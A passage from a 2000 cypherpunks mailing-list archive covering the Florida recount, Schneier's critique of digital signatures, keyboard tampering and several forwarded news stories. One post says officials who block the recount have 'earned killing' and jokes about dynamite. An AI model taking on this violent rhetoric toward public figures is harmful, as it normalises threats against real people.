<20001116235009.A13565@cluebot.com> On Thu, Nov 16, 2000 at 08:56:12PM -0500, David Honig wrote: > > Herr Bear's two paragraphs below are among of the most clear, concrete > explanations of 'why security is hard/ crypto is insufficient' that I've > read. Clear to a programmer, anyway. > > But still, I think that the vast majority of users will end up > trusting something, and the vast majority will be well secured. > Most do not, for example, worry about black-bag jobs. > > How many hardcore cpunks have reverse engineered the source > to the security apps they actually use? PGPDisk *and* PGPfone *and* > PGP version whatever? With time left over for SSL? And you do regular RF > sweeps too? Do you work on your own brakes, too? No, I don't do those things. I hire an accountant for my taxes, a lawyer for such affairs, a mechanic for my car, and so on. Modern society is build on trust relationships in a free market, combined with a division of labor. Crypto is subtle, true, but so is tax law, litigation, and modern automotive control systems. It is not in principle different from those areas, where money, property, and life is at stake, and we trust others to help us. -Declan From rah at shipwright.com Thu Nov 16 21:21:32 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 17 Nov 2000 00:21:32 -0500 Subject: CDR: While we're talking about the microeconomics of transaction privacy... Message-ID: http://www.frbatlanta.org/publica/work_papers/wp00/wp0022.pdf Complements of the Atlanta Fed. Lions and Tigers and Coasian microecon, oh, my... No mention of the "B" word, but, then, they're not supposed to, yet, right? :-) Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From jonathan at screaming.org Thu Nov 16 22:02:01 2000 From: jonathan at screaming.org (jonathan at screaming.org) Date: Fri, 17 Nov 2000 01:02:01 -0500 Subject: CDR: Re: Aces high (long reply) Message-ID: <200011170553.WAA24001@montana.ultimate.screaming.org> > Even if meant in jest, as a comment on the situation, it undermines > the basic issue of law. Hear hear. I have to say that I agree that what has been proceeding in FL has the possible impacts of undermining some basic issues of Constitutional Law(tm). Unfortunately, I also have to agree (on this one issue) with Commrade Troll G. Orwell vis-a-vis Mr. May's objectivity on this point(*). IANAL, but my understanding of the situation is a follows (this is not a linear or algorithmic logic, just a rough progression of related observations): a) The state of Florida has a recent history of poorly conducted elections, with allegations of tampering, confusion, etc. like those we now hear being relatively commonplace. b) The above notwithstanding, Florida state LAW dictates that Candidates may LAWFULLY request manual recounts of ANY or ALL counties of their choosing, providing such requests are filed within 72 hours of the election, and providing they meet other LAWFUL criteria (emphasis mine, obviously, to make the point that the relevant statutes don't state that any particular party must be given a clear advantage in such proceedings, eg. because he's Jewish, or because Crack Whores like him, etc.--see (f) below). c) The results of the Florida election remain within a win/lose margin much smaller than the statistical margin of error of *any* counting system (by at least one order of magnitude), regardless of counting mechanism. (Many invokations of the statistics of scale have been brought to bear on this point in this forum, but the reality remains that by any rational statistical analysis, the state of Florida must be considered a draw. No amount of recounting--or lack thereof--appears to negate this fact. To argue FOR recount after recount is as statistically invalid as is to argue for NO recounts, as is to argue for a die toss, a card game, a duel (my favorite, as someone must die), etc. When a binary decision margin is smaller than the statistical margin of error, the answer is UNDEFINED. Duh.) d) As with (c) above, the US popular vote is statistically a draw--but we have a mechanism to deal with this event: it's called the Electoral College. As defined in its duties by the Constitution, the delegates are to meet on Dec 18th IIRC, and there is no provision for them showing up late. In fact, IIRC, he who gets the majority of them present wins, and "them" need not be all there could be--just all of them there that day. e) As with (c) and (d) above, if Florida can't get their Poop in a Pile by Dec. 18th, then they don't get to play. Tough shit. (And IMHO, it serves them right; they've had a demonstrably fucked process for at least two terms, and haven't fixed it. Maybe this will give the People of Florida the impetus to get with the ballgame the next time around.) f) Getting back to Florida's current problems, and (b) above, if GWB's camp had been on the ball, they'd have requested all of their recounts, manual or otherwise, within or without of Florida, by the damn deadlines. Instead, they were too busy Spinning for the Crowd about how He'd Won (by a statistically invalid margin), and only too late realized that AG's campaign had taken LAWFUL means to dispute the Arrogant Son's ascension to his Invalid Throne. The GWB camp then BROKE THE BARRIER by being the first (in this election) to SUE to stop a LAWFUL process. Furthermore, the SpinTeam claimed that The Counting needed to be over expediently--as in NOW--when the reality is, as in (e) above, they've (Constitutionally) got all the time of a month to count, count, count, as many times as need be to reduce the win margin below the error margin.(**)(***) g) Based on all of the above, the act of a Candidate exercising his right to call for per-state sanctioned recounts, of whatever prescribed manner, should not be abbrogated, in case of the event that a statistically valid margin can be demonstrated, in however partisan a manner (they've both got the same rules to play by). This is what we call the Rule Of Law (cf. May above). Any Secretary of State, Candidate, or Lawscum seeking to abbrogate that process has earned killing. h) As above: It is the Constitutional right of each State to send Electoral Delegates on Dec 18th, though it is apparent that Federal Judges appropriately have some jurisdiction over how Federal Elections are certified (i.e. prejudiced Sec's of State cannot ignore the actual ballots and lawful process, and certify whatever result pleases them, voters be damned). Ultimately, however, it is up to the States to sort out their own messes to the satisfaction of Federal oversight in Federal elections--as it should be(****). In the end, whoever plays best by the Rules Of Law, and gets the most Electoral Votes of them what was present, ought to win. And if anyone, and I mean anyone at all, abbrogates this responsibility, I say we load Mr. May's guns for him and shove him out the door (load his truck with dynamite, etc.)... /jonathan (*) To whom it might concern: I've been lurking here the Guilded and Proscribed Waiting Period, and have consequently learned much. I came here a lowly though learned security architect--and Libertarian--and have been guided towards the way of CryptoAnarchy by the likes of such prolific persons as Surly Tim May, Anti-Physics Choate, Esteemed Journalist Declan, Vigilant John Young, and a host of other characters. (In this respect I owe you all a sincere debt of gratitude.) I also happen to be a fan of shock-art in any form, and have admired Mr. May for his fomenting talents for some time -- my own visual art pieces pale in comparison to his simple "needs killing" theme. (Please keep up the good work, BTW, you are a necessary anti-cog in the anti-machine, man.) (**) Clearly this is not possible, as many here have implied. The only statistically valid response on the part of the State of Florida is to call it a Draw and send no delegates. But as Partisan Politics rage on, the Bush Lobbyist^H^H^H^H^H^H^H^H^H^H^H^HSecretary of State will have to see fit to "certify the count" regardless of its statistical validity. And then go to court, and appeal, and so on, ad infinitum. (***) Disclosure: I voted for neither Major Party Candiddate, have respect for neither, and would be pleased to see them both drown in their own shit. I live in Montana (for those of you who are of the conviction that I Need Killing(tm), and are brave enough to find and storm my compound); consequently my vote was for naught via the Electoral College, the wisdom of which may or may not be sound. (****) Unlike some others present, I do not cotton to claims that VP Gore carries some clear manipulative advatage. Certainly his is extant, but so is that of his opponent. For Pete's Sake(tm), he is the Favored Son of ex-CIA Director, ex-President Bush, and Heir Apparent to the Whole Host of Reaganite Republicans. As with the vote, both popular and by state, they are equally matched in this regard, IMHO. From anonymous at openpgp.net Fri Nov 17 00:32:26 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 17 Nov 2000 03:32:26 -0500 Subject: CDR: colorful chars Message-ID: At 10:35 AM 11/15/00 -0500, Trei, Peter wrote: >Johnson seems quite a colorful character. Aside from crypto, he also >has interests in sewage treatment, image enhancement, intellectual >property protection, display technology, economic forcasting, >and genetic engineering. Several of these involve something he >calls fractal modulation. Mania + engineering = depending on intensity... From anonymous at openpgp.net Fri Nov 17 00:33:32 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 17 Nov 2000 03:33:32 -0500 Subject: CDR: colorful chars correcting remailer issue Message-ID: At 10:35 AM 11/15/00 -0500, Trei, Peter wrote: >Johnson seems quite a colorful character. Aside from crypto, he also >has interests in sewage treatment, image enhancement, intellectual >property protection, display technology, economic forcasting, >and genetic engineering. Several of these involve something he >calls fractal modulation. Mania + engineering = (you know who) depending on intensity... From jburnes at savvis.net Fri Nov 17 01:59:06 2000 From: jburnes at savvis.net (Jim Burnes) Date: Fri, 17 Nov 2000 03:59:06 -0600 Subject: CDR: Re: Florida Supreme Court freezes certification In-Reply-To: <200011172118.QAA27768@www6.aa.psiweb.com> References: <200011172118.QAA27768@www6.aa.psiweb.com> Message-ID: <00111703590602.11495@reality.eng.savvis.net> On Fri, 17 Nov 2000, George at Orwellian.Org wrote: > Florida Supreme Court freezes certification. > > (That's it.) Hmmm. That would seem to be a violation of separation of powers. The Florida deadline law is very clear. If the Florida Supreme Court wishes to rule on a suit that the Dems bring up then that is their authority, but preventing the Secretary of State from doing her duly appointed job seems to be a violation of separation of powers. What if Jeb Bush told her to do it? Who wins? The executive authority or the judicial? Since when did the Florida Supreme Court have executive authority? jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From Prius_Technical_Stuff-owner at egroups.com Thu Nov 16 21:17:33 2000 From: Prius_Technical_Stuff-owner at egroups.com (Prius_Technical_Stuff Moderator) Date: 17 Nov 2000 05:17:33 -0000 Subject: CDR: Welcome to Prius_Technical_Stuff Message-ID: <974438253.61800@egroups.com> Hello, Welcome to the Prius_Technical_Stuff group at eGroups, a free, easy-to-use email group service. Please take a moment to review this message. To start sending messages to members of this group, simply send email to Prius_Technical_Stuff at egroups.com If you do not wish to belong to Prius_Technical_Stuff, you may unsubscribe by sending an email to Prius_Technical_Stuff-unsubscribe at egroups.com You may also visit the eGroups web site to modify your subscriptions: http://www.egroups.com/mygroups Regards, Moderator, Prius_Technical_Stuff From George at Orwellian.Org Fri Nov 17 02:45:40 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 05:45:40 -0500 (EST) Subject: CDR: Florida reject stats, chad vs. optical Message-ID: <200011171045.FAA27000@www1.aa.psiweb.com> Dubya has announced he will nominate Harris as ambassador to Chad. ---- [snipped] http://foxnews.com/election_night/111600/uncounted.sml # # TALLAHASSEE, Fla. - Not every vote counts. # # George W. Bush and Al Gore are just 300 votes apart in Florida's # presidential election, but more than 180,000 Floridians who went # to the polls on Nov. 7 could have just stayed home. Their ballots # were tossed out because they chose more than one presidential # candidate, didn't choose one at all or their vote didn't register. # # That's nearly 3 percent of the 6,138,567 ballots that Florida # citizens turned in. Experts say the national average usually # runs at less than 2 percent, depending on the type of voting # method used. # # The problem in Florida largely can be traced to paper punchcard # ballots, which have helped derail the presidential election and # added "chad" to the national lexicon. # # Some counties had startlingly large numbers of ballots that # weren't counted. All three of these used punchcards: # # - In Miami-Dade County, 28,601 ballots were not counted in the # presidential race, out of about 654,044 cast. # # - In Palm Beach County, home of the controversial "butterfly # ballot," 29,702 votes weren't counted out of 462,888 total. # # - In Jacksonville and surrounding Duval County, 26,909 votes # went uncounted out of 291,545 cast. # # Election lawyer Kenneth Gross, who worked for Bob Dole's 1996 # presidential campaign, said the problem is that holes on the # cards aren't always clean. # # "If there's any paper hanging, the machine tends to push it back # into the hole and then records it as a no vote," Gross said. # # Leon County, where the state capital, Tallahassee, is located, # was another story altogether. There were only 181 votes that # weren't counted, just 0.2 percent of the total. # # That's largely because Leon and 14 other Florida counties use # an optical scan system in which voters fill in a bubble with # a pen instead of punching a hole in a card. From tom at ricardo.de Fri Nov 17 03:41:56 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 17 Nov 2000 06:41:56 -0500 Subject: CDR: Re: Aces high References: <3.0.6.32.20001116093511.007d5100@pop.sprynet.com> Message-ID: <3A1517F6.D4A9AD34@ricardo.de> Tim May wrote: > It's sad to see so many otherwise-careful people calling for "flips > of a coin," "hands of poker," and "duels at sunrise." > > Even if meant in jest, as a comment on the situation, it undermines > the basic issue of law. oh, come on - the whole political theatre is exactly that. so let's give us a little entertainment while the beaurocracy continues to run the country the same way it has for the past 50 or so years. From George at Orwellian.Org Fri Nov 17 05:05:58 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 08:05:58 -0500 (EST) Subject: CDR: Fucking cops (Put down those fries) Message-ID: <200011171305.IAA22870@www8.aa.psiweb.com> Girl Arrested for Eating Fries in Subway Police Cite 'Zero Tolerance' No-Food Rule Nov. 16, 2000 WASHINGTON (AP) -- The mother of a 12-year-old girl who was handcuffed, booked and fingerprinted for eating french fries in a subway station says police went too far. "I can't believe there isn't a better way to teach kids a lesson," said Tracey Hedgepeth, whose daughter Ansche was arrested. "The police treated her like a criminal." But Metro Transit Police Chief Barry J. McDevitt is unapologetic about Ansche's arrest last month and others like it. "We really do believe in zero tolerance," he said. Undercover operation Commuter complaints about unlawful eating on Metro cars and in stations led McDevitt to mount an undercover crackdown on violators. A dozen plainclothes officers cited or arrested 35 people, 13 of them juveniles. Only one adult was arrested. The seventh-grade girl said the station in northwest Washington where she was nabbed is "just a place where a lot of kids go. There's a hot dog stand and Cafe Med, where I bought my fries." She said she took the elevator to the station with a friend. As the pair passed the station kiosk, a man stepped in front of Ansche. 'Put down your fries' "He said: 'Put down your fries. Put down your book bag,'" Ansche said. "They searched my book bag and searched me. They asked me if I have any drugs or alcohol." Ansche said she has never been asked those questions or searched like that before. "I was embarrassed. I told my friend to call my mom, but I didn't tell anybody else," she said. She said she never talked to the officer, although Metro police insist that she was asked whether she knew eating was against the law and that she said she did. They said anyone who doesn't know about the law usually is given a warning first. Signs warning that it is illegal to eat or drink on the cars and in the stations are posted in the Metro system. Custody for juveniles She was taken to the detention center, where she was checked in, fingerprinted and held for her parents to pick her up. If Ansche had been an adult, she simply would have received citations for fines up to $300. But juveniles who commit criminal offenses in the District of Columbia must be taken into custody, McDevitt said. It is department policy to handcuff anyone who is arrested, no matter the age, he said. Ansche must perform community service and undergo counseling at the Boys and Girls Club, one of the sentences Metro has chosen for underage snacking lawbreakers. Bad trash problem McDevitt said the Tenleytown stop where the arrest occurred has had a particularly bad trash problem. "We had not only customers complaining," he said. "Train conductors were also complaining about how trashed their trains were, and they were asking for more enforcement." Hedgepeth said she agrees with sticking to the rules, but wonders why police couldn't issue warnings. "How do they expect kids to grow up trusting police?" she said. "My daughter will now grow up knowing she's been in handcuffs. All over a french fry." From George at Orwellian.Org Fri Nov 17 05:11:01 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 08:11:01 -0500 (EST) Subject: CDR: White Supremacist raided Message-ID: <200011171311.IAA24964@www6.aa.psiweb.com> - Feds raid David Dukes house, cart off files - Feds Raid Home of Ex-Klansman By Cain Burdeau ASSOCIATED PRESS MANDEVILLE, La. Federal agents raided the home of former Ku Klux Klan leader David Duke on Thursday, carting off boxes of documents and a rifle during a search that lasted more than seven hours. FBI agent Sheila Thorne refused to disclose the nature of the investigation. But Roy Armstrong, who identified himself as Duke's bodyguard and a caretaker at the house, said agents told him they were looking into whether Duke was illegally using money raised for his new white-rights organization for his personal use. "It's a fishing expedition," Armstrong said. Duke's associates said that the 50-year-old former KKK leader and one-time state legislator was in Russia, promoting a new book, and that they had not been able to reach him. His new organization is the National Organization For European American Rights, or NOFEAR. He launched it in January, declaring that whites in the United States face "massive discrimination" at the hands of minorities. Agents from the FBI, Internal Revenue Service and the Postal Inspection Service took part in the search of Duke's home in a suburb outside New Orleans. Agents carried out about a dozen boxes. Armstrong showed reporters a copy of the search warrant, which sought a variety of financial and personal records, including gambling and travel records and direct mailings. As for the rifle, Armstrong said agents told him they believed it was stolen. Armstrong said that he had never seen the gun before and that he did not know whether it belonged to Duke. Duke appeared before a federal grand jury in New Orleans in 1999 as news broke that Gov. Mike Foster had paid him more than $150,000 for a list of his supporters, supposedly for use during the 1995 governor's race. Duke had considered entering that race but ultimately stayed out of it. The grand jury reportedly was seeking information on whether Duke paid taxes on the money. It was not known if the raid on Duke's home had anything to do with that matter. Foster "hasn't spoken to the FBI," said the governor's spokeswoman, Marsanne Golsby. "He doesn't know anything about it." Foster, a Republican, paid a $20,000 fine to the state Board of Ethics in connection with the list of supporters. Duke spent years on the political fringe, first as a Klan leader with neo-Nazi sympathies, then as founder of the National Association for the Advancement of White People, which decried integration. He got elected to the state House in 1989 as a Republican and ran unsuccessfully for the U.S. Senate in 1990, pulling 44 percent of the vote against Democratic Sen. J. Bennett Johnston. In the 1991 governor's race, he shocked the political establishment by making it into a runoff with former Gov. Edwin Edwards, who was trying for a comeback. Edwards won in a landslide. Duke made a run for the presidency in Southern primaries in 1992 but was soundly defeated. He finished third in the 1999 race to replace Rep. Bob Livingston in Congress. From George at Orwellian.Org Fri Nov 17 05:18:02 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 08:18:02 -0500 (EST) Subject: CDR: Florida Democrats shot themselves in both feet Message-ID: <200011171318.IAA01923@www5.aa.psiweb.com> It woulda been over. Coulda shoulda woulda. http://www.nytimes.com/2000/11/17/politics/17DUVA.html # # November 17, 2000 # # Democrats Rue Ballot Foul-Up in a 2nd County # # By RAYMOND BONNER with JOSH BARBANEL # # ACKSONVILLE, Fla., Nov. 16 - Democrats in Duval County prepared # meticulously for Election Day. They registered thousands of voters # and ferried enough people to the polls in predominantly # African-American precincts to give a solid boost to Vice President # Al Gore in a county expected to swing reliably into Gov. George # W. Bush's column. # # But the results of Duval County's vote left Democrats here shaking # their heads. More than 26,000 ballots were invalidated, the vast # majority because they contained votes for more than one # presidential candidate. Nearly 9,000 of the votes were thrown # out in the predominantly African-American communities around # Jacksonville, where Mr. Gore scored 10-to-1 ratios of victory, # according to an analysis of the vote by The New York Times. # # The percentage of invalidated votes here was far higher than # that recorded in Palm Beach County, which has become the focus # of national attention and where Democrats have argued that so # many people were disenfranchised it may be necessary to let them # vote again. Neither Democrats nor Republicans have demanded a # hand recount or new election in Duval County. # # Local election officials attributed the outcome to a ballot that # had the name of presidential candidates on two pages, which they # said many voters found confusing. Many voters, they said, voted # once on each page. The election officials said they would not # use such a ballot in the future. # # Rodney G. Gregory, a lawyer for the Democrats in Duval County, # said the party shared the blame for the confusion. Mr. Gregory # said Democratic Party workers instructed voters, many persuaded # to go to the polls for the first time, to cast ballots in every # race and "be sure to punch a hole on every page." # # "The get-out-the vote folks messed it up," Mr. Gregory said # ruefully. # # If Mr. Gregory's assessment is correct, and thousands of Gore # supporters were inadvertently misled into invalidating their # ballots, this county alone would have been enough to give Mr. # Gore the electoral votes of Florida, and thus the White House. [snip] From mjs.crypto at eudoramail.com Fri Nov 17 08:28:32 2000 From: mjs.crypto at eudoramail.com (Markku Saarelainen) Date: Fri, 17 Nov 2000 08:28:32 -0800 Subject: CDR: Read alt.politics.org.cia Message-ID: Read alt.politics.org.cia Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com From pcw at flyzone.com Fri Nov 17 05:46:19 2000 From: pcw at flyzone.com (Peter Wayner) Date: Fri, 17 Nov 2000 08:46:19 -0500 Subject: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: References: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> Message-ID: > Schneier's piece does a good job of listing some of the problems with digital signatures, but he really throws the baby out with the bathwater when he concludes that "Digital signatures aren't signatures." This has been his habit lately. The book _Secrets and Lies_ is filled with plenty of handwringing about how no computer security system is ever going to be good enough. The standards he applies to digital signatures are much too severe. I think that even pen-and-ink signatures wouldn't pass, a conclusion that would lead to the strange sentence, "Signatures aren't signatures and they can't fulfill their promise." The law is very vague about the definition of signatures. It's simply a mark that is made with the intent of binding yourself to a contract. That means the old 'X' scratched on a piece of paper can still bind the illiterate. Mathematicians and computer security folks will probably recoil in horror about the circularity of the whole scheme, but that's the best the law could develop during the pen-and-ink years. It is certainly possible to concentrate upon the ways that digital signatures can fail. Anyone who finds out the secret key can forge signatures with impunity. Anyone who hacks into a system can sneak things past a signer. But these techniques can also work with pen-and-ink signatures. Kids frequently learn to forge their parents' signatures on notes, tests, and permission slips. Skilled forgers can be quite adept. Most managers develop a stupid quick scrawl that is simple to copy. Pen-and-ink signatures are also easy to abuse. You can trace another signature. You can use a projector to place an image of the signature on a paper for tracing. You can cut and paste the signature using scissors and glue before you photocopy the paper. The opportunities are easy to exploit. To put it as Bruce does, a pen-and-ink signature does not authenticate the link between Alice and the paper. To make matters worse, pen-and-ink signatures do not preclude someone from changing the inside of a contract. That's why each side of the deal keeps a copy. If one copy disappears, though, all bets are off. Anyone can insert pages, replace pages, and generally create mayhem. At least digital signatures are not this easy to subvert. There is a well established network of signature experts who testify in court. While I guess it's sad that digital signatures will lead to a similar cadre of professional expert cryptographers, I'm not willing to simply state that digital signatures shouldn't be considered signatures. Unfortunately, this can be all that we have sometimes. -- -------------------------- Tune to http://www.wayner.org/books/ffa/ for information on my book on Free Software. From mclow at owl.csusm.edu Fri Nov 17 09:07:10 2000 From: mclow at owl.csusm.edu (Marshall Clow) Date: Fri, 17 Nov 2000 09:07:10 -0800 Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. In-Reply-To: <200011171652.LAA24887@www2.aa.psiweb.com> References: <200011171652.LAA24887@www2.aa.psiweb.com> Message-ID: At 11:52 AM -0500 11/17/00, George at orwellian.org forwarded: >http://www.foxnews.com/national/1117/d_ap_1117_84.sml ># ># Group accused of operating bank to defraud IRS ># ># 10.54 a.m. ET (1609 GMT) November 17, 2000 ># >[snip] ># The illegal bank, operated out a warehouse just east of Portland, ># offered customers anonymous banking transactions to conceal income ># and assets, according to IRS Special Agent Kathleen Sulmonetti. ># Nine hundred customers deposited $186 million in the warehouse ># bank with the money then being shuffled into legitimate commercial ># bank accounts, she said. 900 people --> $186M. That's $206K each. That's a lot of money to put into a 'bank'. -- -- Marshall "The era of big government is over." Bill Clinton, State of the Union Address, January 23, 1996 Marshall Clow MusicMatch From paul.kierstead at alcatel.com Fri Nov 17 06:09:02 2000 From: paul.kierstead at alcatel.com (Paul Kierstead) Date: Fri, 17 Nov 2000 09:09:02 -0500 Subject: CDR: RE: Schneier: Why Digital Signatures are not Signatures (was Re:CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: <000501c0509f$f073b1b0$543e788a@pkierste.ca.newbridge.com> The Word example actually has other worrying problems not mentioned. A Word document contains a lot of hidden information, including other versions. It would be quite easy to sign a Word document that, when you viewed it, looks significantly different then it could be displayed without violating the signature. This is due to numerous problems, the most basic of which is that we often don't sign what we view but instead some binary that we _believe_ represents what we viewed but often does not. This is not just theoretical nor esoteric, but quite easy as the Word example shows. In effect we have absolutely no idea what we are signing most of the time even without comprimise of keys, programs and all that good stuff. > -----Original Message----- > From: owner-cryptography at c2.net [mailto:owner-cryptography at c2.net]On > Behalf Of R. A. Hettinga > Sent: Wednesday, November 15, 2000 10:51 PM > To: dcsb at ai.mit.edu; Digital Bearer Settlement List; > cryptography at c2.net; cypherpunks at cyberpass.net > Subject: Schneier: Why Digital Signatures are not Signatures (was > Re:CRYPTO-GRAM, November 15, 2000) > > > At 5:58 PM -0600 on 11/15/00, Bruce Schneier wrote: > > > > Why Digital Signatures Are Not Signatures > > > > > > From bill.stewart at pobox.com Fri Nov 17 09:11:09 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 17 Nov 2000 09:11:09 -0800 Subject: CDR: Re: Florida reject stats, chad vs. optical In-Reply-To: <200011171045.FAA27000@www1.aa.psiweb.com> Message-ID: <3.0.5.32.20001117091109.00b4d6c0@idiom.com> At 05:45 AM 11/17/00 -0500, George at orwellian.org wrote: > >Dubya has announced he will nominate Harris >as ambassador to Chad. That'd be pretty Mali-cious. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Fri Nov 17 09:57:35 2000 From: tcmay at got.net (Tim May) Date: Fri, 17 Nov 2000 09:57:35 -0800 Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. In-Reply-To: References: <200011171652.LAA24887@www2.aa.psiweb.com> Message-ID: At 9:07 AM -0800 11/17/00, Marshall Clow wrote: >At 11:52 AM -0500 11/17/00, George at orwellian.org forwarded: >>http://www.foxnews.com/national/1117/d_ap_1117_84.sml >># >># Group accused of operating bank to defraud IRS >># >># 10.54 a.m. ET (1609 GMT) November 17, 2000 >># >>[snip] >># The illegal bank, operated out a warehouse just east of Portland, >># offered customers anonymous banking transactions to conceal income >># and assets, according to IRS Special Agent Kathleen Sulmonetti. >># Nine hundred customers deposited $186 million in the warehouse >># bank with the money then being shuffled into legitimate commercial >># bank accounts, she said. > >900 people --> $186M. That's $206K each. >That's a lot of money to put into a 'bank'. >-- And a lot of money for "Christian Patriots." Not to belittle either Christians or Patriots, but folks like this typically have problems making the monthly payments on their double-wides. Smells fishy, so to speak. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From honig at sprynet.com Fri Nov 17 07:19:53 2000 From: honig at sprynet.com (David Honig) Date: Fri, 17 Nov 2000 10:19:53 -0500 Subject: CDR: Re: Schneier... In-Reply-To: Message-ID: <3.0.6.32.20001117071425.007c5be0@pop.sprynet.com> At 07:02 PM 11/16/00 -0500, A. Melon wrote: > Speaking of secure keyboards, what would one look for inside the keyboard >to determine if it were compromised? Or would the best approach be to buy a >new keyboard, open it, and photograph the interior with a good camera under >good light at close range, perhaps subtly marking various items first and >recording the marks. And perhaps also using some sort of sealant on the edges >when closing it back up that would show any tampering? You could make a black bag teams' job much harder with some epoxy. At a price of making whatever you're securing closed forever. But keyboards are cheap. You'd have to secure the cable too, against those inline keystroke recorders. And the rest of the PC. A good idea for circumstances like computers in offices which are not secured against cleaning people.... Or if you're paranoid but don't shower with your 'Pilot. From carskar at netsolve.net Fri Nov 17 08:20:19 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Fri, 17 Nov 2000 10:20:19 -0600 Subject: CDR: RE: What got censored today... (fwd) Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C7391@cobra.netsolve.net> I can't read it very well. What does it say? ok, Rush -----Original Message----- From: Jim Choate [mailto:ravage at einstein.ssz.com] Sent: Thursday, November 16, 2000 9:43 PM To: cypherpunks at einstein.ssz.com Cc: sci-tech at einstein.ssz.com Subject: What got censored today... (fwd) ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Thu, 16 Nov 2000 19:27:13 -0800 From: Simon Higgs Reply-To: orange at dns.list To: orange at dns.list Subject: What got censored today... http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica nn-111600&start=0-09-04 Starts at 2:18:20 Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy censors it. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3199 bytes Desc: not available URL: From rah at shipwright.com Fri Nov 17 07:48:27 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 17 Nov 2000 10:48:27 -0500 Subject: CDR: Judge: "Cyber-Anarchists" (was Re: GigaLaw.com Daily News, November 17, 2000) In-Reply-To: References: Message-ID: At 4:37 AM -0800 on 11/17/00, GigaLaw.com wrote: > Judge in DVD Case Calls Coders "Cyber-Anarchists" > U.S. District Judge Lewis Kaplan, who sided with the motion picture > industry in a landmark DVD-descrambling lawsuit this year, said the coders > who crafted the DeCSS DVD-decrypting utility are "what might be called > cyber-freedom fighters, or perhaps cyber-anarchists." "Little did I know, > when I was scribbling away, that (the) decision would receive so much > attention," Kaplan said at a "Beyond Napster" symposium organized by > American University's Washington College of Law. > Read the article: Wired News @ > http://www.wired.com/news/politics/0,1283,40226,00.html > Further reading on GigaLaw.com: "Is Hyperlinking Legally at Risk?" @ > http://www.gigalaw.com/articles/isenberg-2000-10-p1.html -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From jya at pipeline.com Fri Nov 17 07:55:14 2000 From: jya at pipeline.com (John Young) Date: Fri, 17 Nov 2000 10:55:14 -0500 Subject: CDR: CJ v. 9th Circuit Message-ID: <200011171601.LAA13345@granger.mail.mindspring.net> CJ has lofted a mortar at the 9th Circuit Court of Appeals for dismissing his appeal for the right to self-representation, and has requested a rehearing which, if granted will take place shortly: http://cryptome.org/cej-v-ca9.htm This provides a legal analysis of the dismissal, new precedents it sets, and a warning to attorneys practising in the 9th Circuit and the State of Washington, along with the court docket. Here's his message of transmittal: It is my hope that someone might find the time and energy to distribute this to Internet legal forums and to attorneys throughout the Ninth District, especially Seattle-Tacoma. Fuck These Morons (TM) have shit all over Constitutional Law and I want to rub their faces in it. It will no doubt piss Them (TM) off to the Max, but I want to stir things up before the Appeals hearing, which should be in the next couple of weeks, if granted. It's Crunch Time, and I want to shine as much light as possible on what Fuck These Morons (TM) are doing. -- From keyser-soze at hushmail.com Fri Nov 17 11:33:10 2000 From: keyser-soze at hushmail.com (keyser-soze at hushmail.com) Date: Fri, 17 Nov 2000 11:33:10 -0800 (PST) Subject: CDR: Another way out? Message-ID: <200011171932.LAA14229@user5.hushmail.com> http://www.PetitionOnline.com/WD40/petition.html From George at Orwellian.Org Fri Nov 17 08:52:18 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 11:52:18 -0500 (EST) Subject: CDR: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. Message-ID: <200011171652.LAA24887@www2.aa.psiweb.com> http://www.foxnews.com/national/1117/d_ap_1117_84.sml # # Group accused of operating bank to defraud IRS # # 10.54 a.m. ET (1609 GMT) November 17, 2000 # # PORTLAND, Ore. (AP) - An Oregon-based tax resistance group # operated a "warehouse bank'' that allowed hundreds of people # to illegally conceal income and assets from the IRS, a federal # indictment alleges. # # Six people listed in the indictment were arrested and another # was being sought, authorities said. # # The nine-count indictment filed Wednesday in federal court charges # the seven members of the Christian Patriot Association of # conspiring to defraud the Internal Revenue Service and violate # federal income 